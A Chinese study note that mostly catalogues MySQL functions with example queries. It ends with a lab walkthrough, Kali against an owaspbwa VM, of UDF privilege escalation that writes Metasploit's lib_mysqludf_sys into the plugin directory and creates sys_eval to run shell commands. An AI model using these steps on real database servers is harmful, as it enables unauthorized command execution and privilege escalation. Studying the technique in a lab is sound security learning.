MySQL 函数及其利用

背景

学习目标：

1. 学习数据库自带函数的功能与用法（思考在什么情况下可以执行命令）

2. 将所有涉及的函数进行测试并举例说明其用法

3. 针对自己所选数据库，构造所需环境，尝试执行系统命令

MySQL 函数

测试环境：

• Ubuntu-18.04

• MySQL 5.7.27

• 数据表：comments，test

  mysql> select * from comments;
  +----+---------------------------+
  | id | comment                   |
  +----+---------------------------+
  |  1 | test                      |
  |  2 | hhhh                      |
  |  3 | Need lots of improvements |
  +----+---------------------------+
  mysql> select  * from test;
  +----+------+
  | id | name |
  +----+------+
  |  1 | May  |
  |  2 | June |
  |  3 | Hack |
  | 10 | Cook |
  +----+------+

字符串函数

字符串长度

• length(s)
• char_length(s)
• character_length(s)

描述：返回字符串 s 的长度。

实例：返回字符串 “Hello World!” 的长度。

mysql> select length("Hello World");
+-----------------------+
| length("Hello World") |
+-----------------------+
|                    11 |
+-----------------------+

mysql> select char_length("Hello World"); #或者 select character_length("Hello World");
+----------------------------+
| char_length("Hello World") |
+----------------------------+
|                         11 |
+----------------------------+

字符串拼接

• concat(s1, s2..…, sn)，将多个字符串 s1, s2..… 合并为一个字符串
• concat_ws(separator, s1, s2, ..…)，功能和 concat 函数一样，但带有分隔符
• group_concat()，将同一列的内容进行拼接

concat(s1, s2..…, sn)

描述：将多个字符串 s1, s2..… 合并为一个字符串，如果 s1, s2..… 中有为 NULL 值得字符串则返回 NULL 值。

实例：从 comments 表中选择 id, comment 字段，并使用 concat 函数合并为 info 字段。

mysql> select concat(id,' ',comment) as info from comments;
+-----------------------------+
| info                        |
+-----------------------------+
| 1 test                      |
| 2 hhhh                      |
| 3 Need lots of improvements |
+-----------------------------+

concat_ws(separator, s1, s2, ..…)

描述：功能和 concat 函数一样，但带有分隔符，如果分隔符为 NULL，则函数返回 NULL，而字符串为 NULL 则略过。

实例：从 comments 表中选择 id, comment, comment 字段，并使用 concat_ws 函数, 以 “,” 为分隔符，合并为 infos 字段。

mysql> select concat_ws(',',id,comment,comment) as infos from comments;
+-------------------------------------------------------+
| infos                                                  |
+-------------------------------------------------------+
| 1,test,test                                           |
| 2,hhhh,hhhh                                           |
| 3,Need lots of improvements,Need lots of improvements |
+-------------------------------------------------------+

group_concat()

描述： 比较直观的理解是 concat() ，concat_ws() 将不同列的同一行内容进行拼接，而group_concat() 将同一列的内容进行拼接。

语法：

GROUP_CONCAT([DISTINCT] expr [,expr ...] # distinct，表示插叙的结果不能重复
             [ORDER BY {unsigned_integer | col_name | expr}
                 [ASC | DESC] [,col_name ...]]
             [SEPARATOR str_val]) # seperator:拼接分隔符，默认为 ','

实例：

mysql> select group_concat(comment order by comment separator '|') from comments;
+----------------------------------------------------------------+
| group_concat(comment order by comment separator '|')           |
+----------------------------------------------------------------+
| Come on!|Come on!|Come on!|hhhh|Need lots of improvements|test |
+----------------------------------------------------------------+

字符串查找

• field(sv, v1, v2..…)，在列表 v1, v2… 中 查找值 sv 的位置
• find_in_set(sv, slist)，搜索值 sv 在字符串列表 slist 中得位置，slist 中的值以 “,” 分开
• instr(string, substring) | locate(substring, string, [start]) | position(subtring in string) , locate()，函数可指定从字符串 string 的 start 位置处开始搜索 substring

field(sv, v1, v2..…)

描述：搜索值 sv 在列表 v1, v2..… 中得位置，如果 sv 为 NULL 或者 sv 不在列表中则返回0值。

实例：

mysql> select field('a', 'Happy','day','A','a');
+-----------------------------------+
| field('a', 'Happy','day','A','a') | #可见搜索不区分大小写，返回第一次搜索值出现得位置
+-----------------------------------+
|                                 3 |
+-----------------------------------+
# 在表中查找
mysql> select field('hhhh', group_concat(comment)) from comments;
+------------------------+
| field('hhhh', comment) |
+------------------------+
|                      0 |
|                      1 |
|                      0 |
|                      0 |
|                      0 |
|                      0 |
+------------------------+

find_in_set(sv, slist)

描述：搜索值 sv 在字符串列表 slist 中得位置，slist 中的值以 “,” 分开。如果值 sv 不在列表中获知 slist 为空字符串，则返回 0，如果 slist 为 NULL，则返回 NULL。

实例：

mysql> select find_in_set('a', 'Not an, easy,question,a,A,a');
+-------------------------------------------------+
| find_in_set('a', 'Not an, easy,question,a,A,a') |
+-------------------------------------------------+
|                                               4 |
+-------------------------------------------------+
#slist 中的值是以","作为分隔符，分隔符之间的内容都是值的内容，包括空格。
mysql> select find_in_set('a', 'Not an, easy,question, a,A,a');
+--------------------------------------------------+
| find_in_set('a', 'Not an, easy,question, a,A,a') |
+--------------------------------------------------+
|                                                5 |
+--------------------------------------------------+

instr(string, substring) | locate(substring, string, [start]) | position(substring in string)

描述:查找字符串 substring 在 string 中出现的位置，如果 substring 不在 string 中，返回 0 。locate()`函数可指定从字符串 string 的 start 位置处开始搜索 substring。

实例:

mysql> select instr("Proud of you!", "you");
+-------------------------------+
| instr("Proud of you!", "you") |
+-------------------------------+
|                            10 |
+-------------------------------+

mysql> select locate("you", "Proud of you!");
+--------------------------------+
| locate("you", "Proud of you!") |
+--------------------------------+
|                             10 |
+--------------------------------+

mysql> select locate("you", "Proud of you!", 11); #从第11个字符开始搜索，搜索失败
+------------------------------------+
| locate("you", "Proud of you!", 11) |
+------------------------------------+
|                                  0 |
+------------------------------------+

字符串修改

• insert(s1, pos, num, s2) ， 字符串插入

• replace(s, olds, news)，字符串替换

• lpad(s, len, pads) | rpad(s, len, pads)，字符串填充

• trim(s) | ltrim(s) | rtrim(s)，字符串裁剪，去首位空格

• lcase(s) | lower(s) ，字符串英文小写

• ucase(s) | uppser(s)，字符串英文大写

• reverse(s) ，字符串逆序

insert(s1, pos, num, s2)

描述： 在字符串 s1 位置插入字符串 s2， num 表示要替换的字符数，如果不需要替换，则使用 0 值。

实例：

#替换式插入
mysql> select insert("What a bad day!", 8, 3,"good");
+----------------------------------------+
| insert("What a bad day!", 8, 3,"good") |
+----------------------------------------+
| What a good day!                       |
+----------------------------------------+
#不进行替换，直接插入
mysql> select insert("What a bad day!", 8, 0,"good");
+----------------------------------------+
| insert("What a bad day!", 8, 0,"good") |
+----------------------------------------+
| What a goodbad day!                    |
+----------------------------------------+
#pos 值不在范围内，范围字符串 s1
mysql> select insert("What a bad day!", 0, 3,"good");
+----------------------------------------+
| insert("What a bad day!", 0, 3,"good") |
+----------------------------------------+
| What a bad day!                        |
+----------------------------------------+
#pos+num 大于字符串 s1 长度，替换 pos 位置后的全部字符
mysql> select insert("What a bad day!", 8, 20,"good");
+-----------------------------------------+
| insert("What a bad day!", 8, 20,"good") |
+-----------------------------------------+
| What a good                             |
+-----------------------------------------+

replace(s, olds, news)

描述：替换字符串 s 中的子字符串 olds 为 news。

实例：

mysql> select replace("What a bad day!", "bad", "good");
+-------------------------------------------+
| replace("What a bad day!", "bad", "good") |
+-------------------------------------------+
| What a good day!                          |
+-------------------------------------------+

lpad(s, len, pads) | rpad(s, len, pads)

描述：使用字符串 pads 填充字符串 s ，至长度为 len。

实例：

#左填充
mysql> select lpad("12345", 10, "0");
+------------------------+
| lpad("12345", 10, "0") |
+------------------------+
| 0000012345             |
+------------------------+
#右填充
mysql> select rpad("12345", 10, "0");
+------------------------+
| rpad("12345", 10, "0") |
+------------------------+
| 1234500000             |
+------------------------+

trim(s) | ltrim(s) | rtrim(s)

描述：去除字符串首尾的空格。

实例：

mysql> select trim("     Too many spaces           ");
+-----------------------------------------+
| trim("     Too many spaces           ") |
+-----------------------------------------+
| Too many spaces                         |
+-----------------------------------------+
#首部去空格
mysql> select ltrim("     Too many spaces           ");
+------------------------------------------+
| ltrim("     Too many spaces           ") |
+------------------------------------------+
| Too many spaces                          |
+------------------------------------------+
#尾部去空格
mysql> select concat(rtrim("     Too many spaces          "), "!");
+------------------------------------------------------+
| concat(rtrim("     Too many spaces          "), "!") |
+------------------------------------------------------+
|      Too many spaces!                                |
+------------------------------------------------------+

lcase(s) | lower(s)

描述：字符串英文小写。

实例：

mysql> select lcase("AllToLower");
+---------------------+
| lcase("AllToLower") |
+---------------------+
| alltolower          |
+---------------------+

ucase(s) | uppser(s)

描述：字符串英文大写。

实例：

mysql> select ucase("AllToUpper");
+---------------------+
| ucase("AllToUpper") |
+---------------------+
| ALLTOUPPER          |
+---------------------+

reverse(s)

描述：字符串逆序。

实例：

mysql> select reverse("12345");
+------------------+
| reverse("12345") |
+------------------+
| 54321            |
+------------------+

子字符串提取

• mid(string, start, len) | substr(string, start, len) | sbustring(string, start, len), 任意提取子字符串
• left(string, num) | right(string, num)，提取左/右子字符串
• sbustring_index(s, delimiter, num)，提取第 num 个分隔符 delimiter 前的子字符串

``mid(string, start, len)|substr(string, start, len)|sbustring(string, start, len)`

描述：在 string start 位置提取长度为 len 的子字符串。

实例：

mysql> select substr("123456789", 3, 3);
+---------------------------+
| substr("123456789", 3, 3) |
+---------------------------+
| 345                       |
+---------------------------+

mysql> select mid("123456789", 3, 3);
+------------------------+
| mid("123456789", 3, 3) |
+------------------------+
| 345                    |
+------------------------+

left(string, num) | right(string, num)

描述：从字符串首部/尾部，提取长度为 num 的子字符串。

实例：

#首部提取
mysql> select left("123456789", 3);
+----------------------+
| left("123456789", 3) |
+----------------------+
| 123                  |
+----------------------+
#尾部提取
mysql> select right("123456789", 3);
+-----------------------+
| right("123456789", 3) |
+-----------------------+
| 789                   |
+-----------------------+

sbustring_index(s, delimiter, num)

描述：提取第 num 个分隔符 delimiter 前的子字符串，num 值为正数则从右到左数起，为负数则从左到右数起。

实例：

mysql> select substring_index("www.youtellme.org", ".", 1);
+----------------------------------------------+
| substring_index("www.youtellme.org", ".", 1) |
+----------------------------------------------+
| www                                          |
+----------------------------------------------+

mysql> select substring_index("www.youtellme.org", ".", -1);
+-----------------------------------------------+
| substring_index("www.youtellme.org", ".", -1) |
+-----------------------------------------------+
| org                                           |
+-----------------------------------------------+

字符串比较

strcmp(s1, s2)，比较字符串的大小

描述：

• s1 = s2，返回 0
• s1 < s2，返回 -1
• s1 > s2，返回 1

实例：

mysql> select strcmp("abc", "Abc");
+----------------------+
| strcmp("abc", "Abc") |  #不区分大小写
+----------------------+
|                    0 |
+----------------------+

#按次序比较
mysql> select strcmp("abcd", "abdc");
+------------------------+
| strcmp("abcd", "abdc") |
+------------------------+
|                     -1 |
+------------------------+
#按次序比较
mysql> select strcmp("b", "abdc");
+---------------------+
| strcmp("b", "abdc") |
+---------------------+
|                   1 |
+---------------------+

其它操作

• ascii(s)，返回字符串 s 第一个字符的 ASCII
• repeat(string, num)，生成重复字符串
• space(num)，生成全空格字符串
• format(num, n), 将数 num 格式化为 “xxx,xxx. xx”形式

ascii(s)

描述：返回字符串 s 的第一个字符的 ASCII 码。

实例：返回 comments 表中 comment 列的的第一个字符的 ASCII 码。

mysql> select comment,ascii(comment)as ASCIIOfFirstChar from comments;
+---------------------------+------------------+
| comment                   | ASCIIOfFirstChar |
+---------------------------+------------------+
| test                      |              116 |
| hhhh                      |              104 |
| Need lots of improvements |               78 |
+---------------------------+------------------+

repeat(string, num)

描述：生成重复字符串 string num 次的字符串。

实例：

mysql> select repeat("Ha", 3);
+-----------------+
| repeat("Ha", 3) |
+-----------------+
| HaHaHa          |
+-----------------+

space(num)

描述：生成 num 个空格的字符串。

实例：

mysql> select concat('some',space(4),'space');
+---------------------------------+
| concat('some',space(4),'space') |
+---------------------------------+
| some    space                   |
+---------------------------------+

format(num, n),

描述：将数 num 格式化为 “xxx,xxx. xx”形式

实例：

mysql> select format(201910.0100, 2);
+------------------------+
| format(201910.0100, 2) |
+------------------------+
| 201,910.01             |
+------------------------+

数值函数

统计函数

• greatest(v1, v2...) | least(v1, v2...)，最大/最小值
• max(exp) | min(exp)，列中的最大/最小值
• sum(exp) ，求列和
• avg(exp)，求列均值
• count(exp)，统计查询返回的行数

greatest(v1, v2...) | least(v1, v2...)

描述：返回一系列数的最大/最小值

实例：

mysql> select greatest(1, 3, 5, 7, 0);
+-------------------------+
| greatest(1, 3, 5, 7, 0) |
+-------------------------+
|                       7 |
+-------------------------+

mysql> select least(1, 3, 5, 7, 0);
+----------------------+
| least(1, 3, 5, 7, 0) |
+----------------------+
|                    0 |
+----------------------+

max(exp) | min(exp)

描述：返回表达式 exp 计算后的最大/最小值

实例：

#列值
mysql> select max(id) from comments;
+---------+
| max(id) |
+---------+
|       3 |
+---------+
mysql> select min(id) from comments;
+---------+
| min(id) |
+---------+
|       1 |
+---------+
#表达式
mysql> select max(pow(id, 3) + 2) from comments;
+---------------------+
| max(pow(id, 3) + 2) |
+---------------------+
|                  29 |
+---------------------+

sum(exp)

描述：返回表达式计算后系列数的和

实例：

#列值求和
mysql> select sum(id) from comments;
+---------+
| sum(id) |
+---------+
|       6 |
+---------+
#表达式计算后求和
mysql> select sum(pow(id, 2)) from comments;
+-----------------+
| sum(pow(id, 2)) |
+-----------------+
|              14 |
+-----------------+

avg(exp)

描述：返回表达式计算后系列数的均值

实例：

#列值
mysql> select avg(id) from comments;
+---------+
| avg(id) |
+---------+
|  2.0000 |
+---------+
#表达式
mysql> select avg(pow(id, 2)) from comments;
+-------------------+
| avg(pow(id, 2))   |
+-------------------+
| 4.666666666666667 |
+-------------------+

count(exp)

描述：返回查询的行数

实例：

#统计 id 数
mysql> select count(id) from comments;
+-----------+
| count(id) |
+-----------+
|         3 |
+-----------+

取整函数

• abs(num)，求绝对值，$|num|$
• ceil(num) | ceiling(num)，取上整数，$\lceil{num}\rceil$
• floor(num) ，取下整数，$\lfloor{num}\rfloor$
• round(num, [decimals])，取约数，四舍五入
• truncate(num, decimals)，截断小数部分
• div(x, y)，x 除以 y，返回一个整数
• mod(x, y) | x mod y | x % y，x 模 y

abs(num)

描述：

实例：

mysql

ceil(num) | ceiling(num)

描述：取上整数

实例：

mysql

floor(num)

描述：

实例：

mysql

round(num, [decimals])

描述：

实例：

mysql

truncate(num, decimals)

描述：

实例：

mysql

div(x, y)

描述：

实例：

mysql

mod(x, y) | x mod y | x % y

描述：

实例：

mysql

幂函数

• pow(x, y) | power(x, y)，$x^y$
• sqrt(num)，$\sqrt{num}$，负数返回 NULL

实例：

# 2 的 3 次方
mysql> select pow(2, 3);
+-----------+
| pow(2, 3) |
+-----------+
|         8 |
+-----------+
# 9 的根
mysql> select sqrt(9);
+---------+
| sqrt(9) |
+---------+
|       3 |
+---------+

指数和对数

• exp(num)，$e^{num}$
• ln(num)，求自然对数， $ln(num)$，num 要大于0，否则返回 NULL
• log(m, n)，$log_m(n)$，n 要大于0 且 m 大于1，否则返回 NULL
• log2(n)，求 2 为底 n 的对数，$log_2(n)$，n 要大于0，否则返回 NULL
• log10(n)，求 10 为底 n 的对数，$log_{10}(n)$，n 要大于0，否则返回 NULL

实例：

mysql> select exp(1); #自然对数 e
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+
mysql> select ln(exp(2));
+------------+
| ln(exp(2)) |
+------------+
|          2 |
+------------+
mysql> select log(3, 9); #3 为底 9 的对数
+-----------+
| log(3, 9) |
+-----------+
|         2 |
+-----------+
mysql> select log2(0); #n 不大于 0，返回 NULL
+---------+
| log2(0) |
+---------+
|    NULL |
+---------+

三角函数

• sin(num)，求正弦
• cos(num)，求余弦
• tan(num)，求正切
• cot(num)，求余切

实例：

mysql> select sin(pi()/2);
+-------------+
| sin(pi()/2) |
+-------------+
|           1 |
+-------------+
mysql> select sin(pi()); # sin(pi) 不为0，因为这里 pi 是个约数，实际的 pi 是无效不循环数
+------------------------+
| sin(pi())              |
+------------------------+
| 1.2246467991473532e-16 |
+------------------------+

mysql> select sin(pi()/2);
+-------------+
| sin(pi()/2) |
+-------------+
|           1 |
+-------------+

反三角函数

• asin(num)，求反正弦，返回一个弧度值

• acos(num)，求反余弦，返回一个弧度值

• atan(num)，求反正切，返回一个弧度值

• acot(num)，求反余切，返回一个弧度值

• atan2(n1, n2)，求两个数的反正切，返回弧度值

实例：

mysql> select asin(1); #约等于 pi/2
+--------------------+
| asin(1)            |
+--------------------+
| 1.5707963267948966 |
+--------------------+

mysql> select pi()/2;
+--------------+
| pi()/2       |
+--------------+
| 1.5707963268 |
+--------------+

其它函数

• pi()，求 $\pi$ 值
• degrees(num)，求弧度 num 的角度值
• radians(num)，求角度 num 的弧度值
• rand([seed])，取 [0, 1) 的随机数，可设置种子 seed，生成相同的随机数
• sign(num)，返回数 num 的符号，正数为1，负数为-1，0 为 0

实例：

mysql> select degrees(2*pi()); # 2*pi 弧度为 360 角度
+-----------------+
| degrees(2*pi()) |
+-----------------+
|             360 |
+-----------------+
mysql> select radians(180); # 180度为 pi 弧度
+-------------------+
| radians(180)      |
+-------------------+
| 3.141592653589793 |
+-------------------+
mysql> select rand(); #[0,1)的随机数
+--------------------+
| rand()             |
+--------------------+
| 0.9826734987857505 |
+--------------------+
mysql> select rand(), rand(1), rand(1); #相同的种子生成相同随机数
+--------------------+---------------------+---------------------+
| rand()             | rand(1)             | rand(1)             |
+--------------------+---------------------+---------------------+
| 0.8894535832940168 | 0.40540353712197724 | 0.40540353712197724 |
+--------------------+---------------------+---------------------+

高级函数

进制转换

• bin(num)，将一个数字转换为二进制表示的数字，类型为字符串
• hex(value)
• conv(num, from_base, to_base)，将一个数字从一个进制转换到另一个进制进行表示

实例：

# 二进制表示
mysql> select bin(9), bin(4), bin(2);
+--------+--------+--------+
| bin(9) | bin(4) | bin(2) |
+--------+--------+--------+
| 1001   | 100    | 10     |
+--------+--------+--------+
# 10进制转16进制和2进制表示
mysql> select conv(16, 10, 16), conv(16, 10, 2);
+------------------+-----------------+
| conv(16, 10, 16) | conv(16, 10, 2) |
+------------------+-----------------+
| 10               | 10000           |
+------------------+-----------------+

类型转换

• binary value，将值转换成二进制字符串，注意和 bin() 转换成二进制形式的数字表示不同。
• cast(v as t)，将值 v 转换成类型 t 表示
• convert(v, t) | convert(v using charset)，将值 v 转换成类型 t 表示，或 使用字符集 charset 表示

可转换的数据类型：

类型值	描述
DATE	格式: “YYYY-MM-DD”
DATETIME	格式: “YYYY-MM-DD HH:MM:SS”
TIME	格式: “HH:MM:SS”
CHAR	字符类型（固定长度的字符串）
SIGNED	64 位带符号整数
UNSIGNED	64位不带符号整数
BINARY	二进制字符串

实例：

#正常字符串，比较不分大小写，所以比较结果相同
mysql> select "a" = "A"; 
+-----------+
| "a" = "A" |
+-----------+
|         1 |
+-----------+
#但二进制字符串中 "a" 和 "A" 是不同的
mysql> select binary "a" = binary "A";
+-------------------------+
| binary "a" = binary "A" |
+-------------------------+
|                       0 |
+-------------------------+
#转换成类型 DATETIME
mysql> select cast("2019-08-23 15:59:59" as datetime);
+-----------------------------------------+
| cast("2019-08-23 15:59:59" as datetime) |
+-----------------------------------------+
| 2019-08-23 15:59:59                     |
+-----------------------------------------+
#使用 gbk 字符集，表示中文
mysql> select convert("中国" using gbk);
mysql> select convert("中国" using utf8);
+------------------------------+
| convert("中国" using utf8)   |
+------------------------------+
| 中国                         |
+------------------------------+

条件判断函数

• case，返回第一个满足条件的值，语法
  CASE
WHEN *condition1* THEN *result1*
WHEN *condition2* THEN *result2*
WHEN *conditionN* THEN *resultN*
ELSE *result*
END;
• if(con, t, f)，满足条件，执行 t 语句，反之，f 语句
• ifnull(expr, v)，如果 expr 表达式值为 NULL，返回 v
• isnull(expr)，判断 表达式 expr 值是否为 NULL，是返回 1，反之为 0
• nullif(expr1, expr2)，如何两个表达式值相同，返回 NULL，反之返回 expr1

实例：

# case 语句
mysql> select id, name, case when id>=1 and id<3 then "p1" when id>2 and id<5 then "p2" else "p3" end as info  from test;
+----+------+------+
| id | name | info |
+----+------+------+
|  1 | May  | p1   |
|  2 | June | p1   |
|  3 | Hack | p2   |
| 10 | Cook | p3   |
+----+------+------+
# if(con, t, f)
mysql> select *, if(id>2, "p1", "p2") as part from test;
+----+------+------+
| id | name | part |
+----+------+------+
|  1 | May  | p2   |
|  2 | June | p2   |
|  3 | Hack | p1   |
| 10 | Cook | p1   |
+----+------+------+
# ifnull(expr, v)
mysql> select ifnull(NULL, "expr is null") as value;
+--------------+
| value        |
+--------------+
| expr is null |
+--------------+
# nullif(expr1, expr2)
mysql> select nullif("100", 100); #数字和字符一样
+--------------------+
| nullif("100", 100) |
+--------------------+
| NULL               |
+--------------------+
# 不分大小写
mysql> select nullif("Case","cAse" );
+------------------------+
| nullif("Case","cAse" ) |
+------------------------+
| NULL                   |
+------------------------+

数据库信息

• current_user()，MySQL 授权的用户名和主机名
• user() | session_user() | system_user()，当前连接的用户名和主机名
• database()，当前数据库
• connection_id()，当前 连接的 ID
• version()，MySQL 版本号

实例：

# current_user() 和 user()|session_user()| system_user() 的区别，只有一个用户名具有多个主机才有区别，如 username@%
# 在服务器主机登陆，这四个都是一样的主机名 localhost
mysql> select  current_user(), user(), session_user(), system_user();
+-------------------+-------------------+-------------------+-------------------+
| current_user()    | user()            | session_user()    | system_user()     |
+-------------------+-------------------+-------------------+-------------------+
| user102@localhost | user102@localhost | user102@localhost | user102@localhost |
+-------------------+-------------------+-------------------+-------------------+
# 在客户端用进行远程登陆，主机名会改变
mysql> select  current_user(), user();
+-------------------+----------------------+
| current_user()    | user()               |
+-------------------+----------------------+
| user102@%         | user102@192.168.47.1 |
+-------------------+----------------------+

加解密

• hex(value) | unhex(value)，转换成 16 进制的字符串表示，或从 16 进制字符串转回正常的字符串表示
• to_base64(s) | from_base64(s) ，转换成 base64 编码的字符串或者从 base64 编码的字符串转回正常的字符串表示
• encode(s, p) | decode(s, p)，将字符串 s 使用密码 p 进行 加解密
• compress(s) | uncompress(s) 压缩或解压 s

实例：

mysql> select unhex('hhhh, who are you!');
+-----------------------------+
| unhex('hhhh, who are you!') |
+-----------------------------+
| NULL                        |
+-----------------------------+
mysql> select unhex(hex('hhhh, who are you!'));
+----------------------------------+
| unhex(hex('hhhh, who are you!')) |
+----------------------------------+
| hhhh, who are you!               |
+----------------------------------+

mysql> select to_base64('hhhh, who are you!');
+---------------------------------+
| to_base64('hhhh, who are you!') |
+---------------------------------+
| aGhoaCwgd2hvIGFyZSB5b3Uh        |
+---------------------------------+
mysql> select from_base64(to_base64('hhhh, who are you!'));
+----------------------------------------------+
| from_base64(to_base64('hhhh, who are you!')) |
+----------------------------------------------+
| hhhh, who are you!                           |
+----------------------------------------------+
# 加解密
mysql> select decode(encode('string', 'hhh'), 'hhh');
+----------------------------------------+
| decode(encode('string', 'hhh'), 'hhh') |
+----------------------------------------+
| string                                 |
+----------------------------------------+
# 压缩和解压
mysql> select uncompress(compress("What the hell!"));
+----------------------------------------+
| uncompress(compress("What the hell!")) |
+----------------------------------------+
| What the hell!                         |
+----------------------------------------+

其它函数

• coalesce(v1, v2, ...)，返回列表中第一个非 NULL 值
• last_insert_id([expr])，返回当表中 最新行的 AUTO_INCREMENT 属性的 id 值

实例：

mysql> select coalesce(null, "not null", 3);
+-------------------------------+
| coalesce(null, "not null", 3) |
+-------------------------------+
| not null                      |
+-------------------------------+

mysql> select last_insert_id();
+------------------+
| last_insert_id() |
+------------------+
|               10 |
+------------------+

日期函数

MySQL 中关于日期的函数特别多，好像在 SQL 注入过程中不常用到，还是稍微总结下。

当前日期和时间

MySQL 中日期表示的格式为 “YYYY-MM-DD”，时间表示的格式为 “HH-MM-SS”，日期和时间一起表示为 “YYYY-MM-DD HH-MM-SS”。

• curdate() | current_date()，返回 “YYYY-MM-DD”格式的字符串 或者YYYYMMDD 格式的数字

• curtime() | current_time()，返回 “HH-MM-SS” 格式的字符串 或者 HHMMSS.uuuuuu 格式的数字

• current_timestamp() | now() | systdate()，返回当前日期和时间，格式不变

• localtime() | local_timestamp()，返回当前日期和时间，格式不变

实例：

mysql> select current_date(), curdate();
+----------------+------------+
| current_date() | curdate()  |
+----------------+------------+
| 2019-08-24     | 2019-08-24 |
+----------------+------------+

mysql> select current_time(), curtime();
+----------------+-----------+
| current_time() | curtime() |
+----------------+-----------+
| 07:38:16       | 07:38:16  |
+----------------+-----------+

mysql> select current_timestamp(), now(), sysdate();
+---------------------+---------------------+---------------------+
| current_timestamp() | now()               | sysdate()           |
+---------------------+---------------------+---------------------+
| 2019-08-24 07:40:04 | 2019-08-24 07:40:04 | 2019-08-24 07:40:04 |
+---------------------+---------------------+---------------------+

mysql> select localtime(), localtimestamp();
+---------------------+---------------------+
| localtime()         | localtimestamp()    |
+---------------------+---------------------+
| 2019-08-24 07:40:49 | 2019-08-24 07:40:49 |
+---------------------+---------------------+

MySQL 执行系统命令

使用 system shell-cmd

在 MySQL 的命令行界面中可以使用 system shell-cmd 或者\! shell-cmd 格式执行 shell 命令。

实例：

mysql> \! pwd  # 显示当前目录
/home/jaylen
mysql> \! ls # 当前目录内容
Desktop    Downloads	     less   Pictures  Templates  Videos
Documents  examples.desktop  Music  Public    test.txt	 work
mysql> \! cat ./work/test  # 使用 cat 查看文件内容
1	jack
2	jackit

也可以打开一个新的 shell，关闭 shell (使用 exit 或者 CTRL D)后返回 MySQL 命令行界面。

mysql> \! bash  # 打开终端
jaylen@ubuntu:~$ cd work/  # 返回到 设立了
jaylen@ubuntu:~/work$ ls
DVWA  hashcat-5.1.0  neo  suctf  test  test.csv
jaylen@ubuntu:~/work$ eixt
eixt: command not found
jaylen@ubuntu:~/work$ exit # 关闭 shell
exit
mysql>

MySQL UDF 提权

背景

UDF 为 “User-Defined Function” 的所写，即用户自定义函数。MySQL 允许用户添加新的函数，其中一种方法就是通过其提供的 UDF 接口，添加用户自定义函数。用户自定义函数可以使用 C/C++ 语言编写并编译成库文件（其它语言也可以，只要能编译成共享库文件），放到 MySQL 指定的目录下，以便 MySQL 能动态加载用户自定义的函数。

使用 UDF 可以加载自定义的函数，因此可以通过自定义函数执行各种操作，关于用户自定义函数的编写可参考，Extending MySQL

使用 UDF

那么如何使用 UDF 进行提权呢？

前提条件：

1. MySQL 用户能写文件到 MySQL 指定的自定义函数库存放目录。

2. MySQL 用户具有 INSERT 权限，才能使用 CREATE FUNCTION语句在 MySQL 中添加自定义的函数，此外如果使用 DROP FUNCTION 语句删除自定义函数，还需要有 DELETE 权限。

实验环境：

• 攻击主机：Kali Linux
• MySQL 服务器主机：owaspbwa

步骤：

1. 根据目标系统（MySQL服务器主机）的类型，准备好相应的可加载的库文件，网上有不少 UDF 的库文件，这里使用 Metasploit 自带的 UDF 库，Kali 主机上 find / -name '*mysqludf*' 进行搜索，可以看到可用的库文件，GitHub上也有，这里根据系统类型使用 lib_mysqludf_sys_32.so。

# 查看系统类型
MySQL [pwn]> show variables like "%compile%";
+-------------------------+------------------+
| Variable_name           | Value            |
+-------------------------+------------------+
| version_compile_machine | i486             |
| version_compile_os      | debian-linux-gnu |
+-------------------------+------------------+

2. 将自定义函数的库文件放到 MySQL 指定的文件目录下，这个文件目录和 MySQL 的版本相关。

# MySQL 版本 < 5.0.67, 放在能别系统的链接器检索的文件夹即可，通常系统目录都是行的，如在 Windows中，C:\\WINDOWS\\ 或者 C:\\WINDOWS\\system32\\
# MySQL 版本 >= 5.0.67, 指定在 plugin_dir 目录下
mysql> select @@plugin_dir;
+------------------------+
| @@plugin_dir           |
+------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------+
# 将 UDF 库文件写到 plugin_dir 目录中,前提是可以写文件到 plugin_dir 目录中
# 将 库文件转换成 16进制字符存储，而后写入到表中，最终存到 plugin_dir 目录中，
# Kali Linux 上的 MySQL
MariaDB [(none)]> select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so')) into dumpfile '/tmp/udf.hex';
Query OK, 1 row affected (0.01 sec)
# 远程登陆的 MySQL，从 Kali Linux上传，使用 local 关键字
MySQL [pwn]> load data local infile '/tmp/udf.hex' into table udf(data);
Query OK, 1 row affected (0.00 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 0
# 将自定义库存到指定目录
MySQL [pwn]> select unhex(data) from udf into dumpfile '/usr/lib/mysql/plugin/udf.so';
Query OK, 1 row affected (0.00 sec)

3. 在 MySQL 命令行中加载自定义函数

# 创建自定义函数
MySQL [pwn]> create function sys_eval returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)
# 使用
MySQL [pwn]> select sys_eval('ls /');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| sys_eval('ls /')                                                                                                                                           |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| bin
boot
cdrom
dev
etc

4. 从 MySQL 中删除自定义函数

# 删除函数
MySQL [pwn]> drop function sys_eval;
Query OK, 0 rows affected (0.00 sec)

使用工具

使用一些工具可以更加方便的利用 UDF 进行提权，如 sqlmap 可以直连 MySQL 数据库，自动上传 UDF 进行提权操作，详细参考使用sqlmap直连数据库获取webshell。

参考

1. MySQL Functions
2. MySQL 函数 | 菜鸟教程
3. Executing shell commands from within the MySQL command line client
4. MySQL UDF Exploitation
5. Adding New Functions to MySQL
6. 使用sqlmap直连数据库获取webshell